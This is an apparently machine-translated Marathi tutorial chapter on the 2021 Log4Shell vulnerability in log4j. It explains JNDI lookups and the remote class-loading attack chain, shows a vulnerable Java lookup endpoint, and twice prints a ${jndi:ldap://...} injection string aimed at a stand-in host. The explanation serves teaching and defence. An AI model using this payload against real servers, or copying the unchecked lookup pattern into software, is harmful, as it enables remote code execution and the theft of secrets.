७.१ घोटाळा

आणि अर्थातच, 2021 च्या शेवटी - अगदी अलीकडे घडलेल्या कथेबद्दल सांगणे अशक्य आहे.

Log4Shell

यूएस सायबर सिक्युरिटी अँड इन्फ्रास्ट्रक्चर प्रोटेक्शन एजन्सी (सीआयएसए) ने म्हटले आहे की ही समस्या Log4Shellइतिहासातील सर्वात गंभीर असुरक्षा आहे. होय, आम्ही आमच्या आवडत्या लायब्ररीबद्दल बोलत आहोत log4j.

आमची आरामदायक छोटी लायब्ररी log4j आणि इतिहासातील सर्वात मोठी असुरक्षा ? उत्सुकता आहे? मग ऐका.

7.2 आपत्तीचे प्रमाण

एका गंभीर असुरक्षा (कोड CVE-2021-44228) च्या शोधाची Log4Shellघोषणा 9 डिसेंबर 2021 रोजी Lunasec सुरक्षा तज्ञांनी केली होती. Apache सुरक्षा टीम Java समुदायातील तज्ञांनी ही माहिती सत्यापित केली आहे आणि असुरक्षित Java लायब्ररींची यादी प्रकाशित केली आहे. यादी फक्त मोठी होती.

जर Java प्रोजेक्टने लायब्ररी वापरली असेल log4j, तर ती अगदी सहजपणे हॅक केली जाऊ शकते. Javaआणि जवळजवळ सर्व सर्व्हर सॉफ्टवेअर सर्वात लोकप्रिय जावा लॉगरमध्ये लिहिलेले असल्यामुळे log4j, सुरक्षा तज्ञांच्या मते, असुरक्षिततेमुळे कॉर्पोरेट क्लाउड वातावरणाच्या 93% वर परिणाम झाला. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam आणि बर्‍याच गोष्टींसह

शिवाय, असुरक्षिततेचा परिणाम केवळ सर्व्हर सॉफ्टवेअरवरच नाही तर अनेक Java अनुप्रयोगांवर तसेच हार्डवेअर उत्पादकांवरही झाला. उदाहरणार्थ, इंटेलने 32 हॅक करण्यायोग्य प्रोग्रामची सूची प्रकाशित केली: SDK, सर्व्हर देखभाल प्रणाली, लिनक्स साधने.

Nvidia ने DGX सर्व्हर आणि NetQ टूल्सचा उल्लेख करणारा सुरक्षा समस्या अहवाल देखील पोस्ट केला. ऍपल आणि मायक्रोसॉफ्ट द्वारे अनेक अद्यतने तातडीने जारी करण्यात आली.

साधारणपणे सांगायचे तर, विद्यार्थ्याच्या ब्राउझरच्या अॅड्रेस बारमधील एक ओळ सर्व्हरला ठेवते जर ही ओळ लॉगरने खाल्ली असेल (अनेक सर्व्हरवर, सर्वकाही लॉग केलेले आहे HTTP-requests).

कोडचे विश्लेषण केल्यानंतर, असे दिसून आले की 2013 पासून लायब्ररीमध्ये असुरक्षितता बसली होती, परंतु त्यांना आताच लक्षात आले. आणि जेव्हा त्यांनी खोल खणायला सुरुवात केली तेव्हा त्यांना एक अथांग डोह सापडला, ज्याचा तळ अजिबात दिसत नाही.

7.3 इतिहासातील सर्वात गंभीर असुरक्षा

डिसेंबर २०२१ मध्ये, यूएस सायबर सिक्युरिटी अँड इन्फ्रास्ट्रक्चर प्रोटेक्शन एजन्सी (सीआयएसए) ने सांगितले की Log4Shellही इतिहासातील सर्वात गंभीर असुरक्षा आहे .

इतर अनेक तज्ञही असेच मत व्यक्त करतात . प्रत्येकाला या असुरक्षिततेबद्दल माहिती आहे आणि सर्व वयोगटातील हॅकर्स आधीच वैयक्तिक डेटा चोरण्यासाठी आणि विविध संस्थांवर इतर प्रकारचे हल्ले करण्यासाठी याचा वापर करत आहेत. भविष्यात, आम्ही मोठ्या प्रमाणावर हॅक आणि डेटा लीकच्या लाटेची वाट पाहत आहोत.

Log4j बद्दल मीम्स असलेली एक वेगळी साइट आहे आणि दररोज नवीन चित्रे आहेत यावरूनही आपत्तीचे प्रमाण मोजले जाऊ शकते.

ही समस्या आमच्याबरोबर बर्याच काळापासून आहे. लाखो नाही तर लाखो संगणक प्रणालींमध्ये सुरक्षा छिद्र. सर्व जुने सॉफ्टवेअर अद्ययावत करणे आवश्यक आहे आणि किमान ही लायब्ररी तेथे बदलणे आवश्यक आहे. परंतु बहुतेक प्रकरणांमध्ये, त्यांच्या सॉफ्टवेअरमध्ये कोणती लायब्ररी आणि कोणत्या आवृत्त्या वापरल्या जातात हे कोणालाही माहिती नसते.

सर्वसाधारणपणे, आम्ही संगणक सुरक्षा तज्ञांच्या पगारात तीव्र वाढीची अपेक्षा करतो.

7.4 असुरक्षिततेचे स्वरूप

असुरक्षिततेचे सार समजून घेण्यासाठी, आपल्याला मोठ्या सर्व्हर सिस्टमची व्यवस्था कशी केली जाते हे समजून घेणे आवश्यक आहे. बर्‍याचदा अशा सर्व्हर ऍप्लिकेशन्स वेगवेगळ्या सर्व्हरवर असलेल्या वेगवेगळ्या सेवांमध्ये मोडल्या जातात. आणि JNDI सेवा त्यांना संवाद साधण्यास मदत करते.

जावा नेमिंग आणि डिरेक्टरी इंटरफेस (JNDI)Java API नावाने वस्तू/सेवा शोधणे आहे . हे ऑब्जेक्ट्स रिमोट मेथड इनव्होकेशन (RMI), कॉमन ऑब्जेक्ट रिक्वेस्ट ब्रोकर आर्किटेक्चर (CORBA), लाइटवेट डायरेक्ट्री ऍक्सेस प्रोटोकॉल (LDAP), किंवा डोमेन नेम सर्व्हिस (DNS) सारख्या विविध नामकरण सेवा किंवा निर्देशिकांमध्ये संग्रहित केले जाऊ शकतात.

यासह कार्य करणे खूप सोपे आहे - हे एक सोपे आहे Java APIजे फक्त एक स्ट्रिंग पॅरामीटर घेते - सेवेचे नाव. त्यासह, आपण कोणत्याही सेवेशी संपर्क साधू शकता आणि त्याला काहीतरी करण्यास सांगू शकता आणि / किंवा काही डेटा पाठवू शकता. उदाहरणार्थ, स्ट्रिंग स्ट्रिंगमध्ये निर्दिष्ट केलेल्या ${jndi:ldap://example.com/file}यावरून डेटा लोड करेल .URL

जर पॅरामीटर अविश्वासू स्त्रोताकडून आला असेल, तर ते रिमोट क्लास लोडिंग आणि तृतीय-पक्ष कोडची अंमलबजावणी करू शकते . च्या बाबतीत काय होते Log4j. हल्लेखोर फक्त पीडितेच्या Java ऍप्लिकेशनला दुर्भावनापूर्ण व्यक्तीकडे निर्देशित करतो rmi/ldap/corba-serverआणि प्रतिसादात एक दुर्भावनापूर्ण ऑब्जेक्ट प्राप्त करतो.

तांत्रिकदृष्ट्या, येथे समस्या log4jलायब्ररीमध्येच नाही, परंतु सोबत काम करताना सुरक्षा सेटिंग्जमध्ये आहे JNDI-service. आम्ही कोणत्या प्रकारची स्ट्रिंग पास करतो हे तुम्हाला नेहमी तपासावे लागेल InitialContext.lookup().

असुरक्षित उदाहरण JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 खूप स्मार्ट लायब्ररी

आणि कुठे log4jविचारता? गोष्ट अशी आहे की त्याच्या विकासकांना त्याच्यासह काम करणे शक्य तितके आरामदायक बनवायचे होते आणि त्यात स्मार्ट लॉगिंग जोडले. ते कसे कार्य करते ते येथे आहे:

हे सर्व या वस्तुस्थितीपासून सुरू झाले की लॉग मेसेजने तुम्हाला एक टेम्पलेट सेट करण्याची परवानगी दिली जिथे डेटा बदलला होता, उदाहरणार्थ:


log.debug(“User {user} has {count} friends”, user, count);

डेटा प्रतिस्थापनाशिवाय जुनी आवृत्ती असे दिसते:


log.debug( “User “+user +” has “+ count +” friends”);

2013 मध्ये, व्ह्यू टेम्प्लेटद्वारे निर्दिष्ट केलेल्या स्मार्ट उपसर्गांचे प्रतिस्थापन देखील लायब्ररीमध्ये जोडले गेले ${prefix:name}. उदाहरणार्थ, स्ट्रिंग “${java:version}”मध्ये रूपांतरित केली जाईल «Java version 1.7.0_67». अरे किती सोयीस्कर.

ओळखल्या जाणार्‍या अभिव्यक्तींपैकी ${jndi:<lookup>}जेएनडीआय प्रोटोकॉल नंतर तुम्ही याद्वारे शोध निर्दिष्ट करू शकता LDAP: आर्बिट्ररी URL-addressक्वेरी केली जाऊ शकते आणि ऑब्जेक्ट डेटा म्हणून लोड केली जाऊ शकते Java.

ही संपूर्ण दृष्टीकोनाची एक मानक समस्या आहे JDK: ती स्वयंचलितपणे ऑब्जेक्टचे डीसीरियलाइज करते, ज्याची लिंक url च्या स्वरूपात सेट केली जाऊ शकते. या प्रकरणात, रिमोट रिसोर्समधून केवळ ऑब्जेक्टचा डेटाच लोड केला जात नाही तर त्याच्या वर्गाचा कोड देखील.

हॅक असे दिसते:

  • दुर्भावनायुक्त कोड असलेली फाइल डाउनलोड करत आहे
  • फाइलमध्ये अनुक्रमित Java an object(आणि त्याचा वर्ग) समावेश आहे
  • वर्ग लोड होत आहेJava-machine
  • दुर्भावनायुक्त वर्गाचा एक ऑब्जेक्ट तयार केला जातो
  • ऑब्जेक्टच्या कन्स्ट्रक्टरला म्हणतात
  • कन्स्ट्रक्टर आणि स्टॅटिक इनिशिएलायझेशन दोन्ही दुर्भावनापूर्ण क्लास कोड कार्यान्वित करण्याची परवानगी देतात

लॉग इन होत असलेल्या लाइनमध्ये log4jअसे काही असल्यास ${jndi:ldap://example.com/file}, इंटरनेटशी कनेक्ट करताना log4jते यावरून डेटा डाउनलोड करेलURL-address . लॉग इन केलेली स्ट्रिंग प्रविष्ट करून, आक्रमणकर्ता सार्वजनिक वर होस्ट केलेला दुर्भावनायुक्त कोड डाउनलोड आणि कार्यान्वित करू शकतो URL-address.

जरी डेटा एक्झिक्यूशन अक्षम केले असले तरीही, आक्रमणकर्ता डेटा मिळवू शकतो, जसे की गुप्त पर्यावरण व्हेरिएबल्स, तो a मध्ये ठेवून URL-address, जो तो बदलेल आणि आक्रमणकर्त्याच्या सर्व्हरवर पाठवेल.

चांगली बातमी अशी आहे की लायब्ररीमध्ये समस्येचे त्वरीत निराकरण करण्यात आले .

वाईट बातमी अशी आहे की जगभरातील लाखो सर्व्हर अजूनही या लायब्ररीची जुनी आवृत्ती चालवत आहेत ...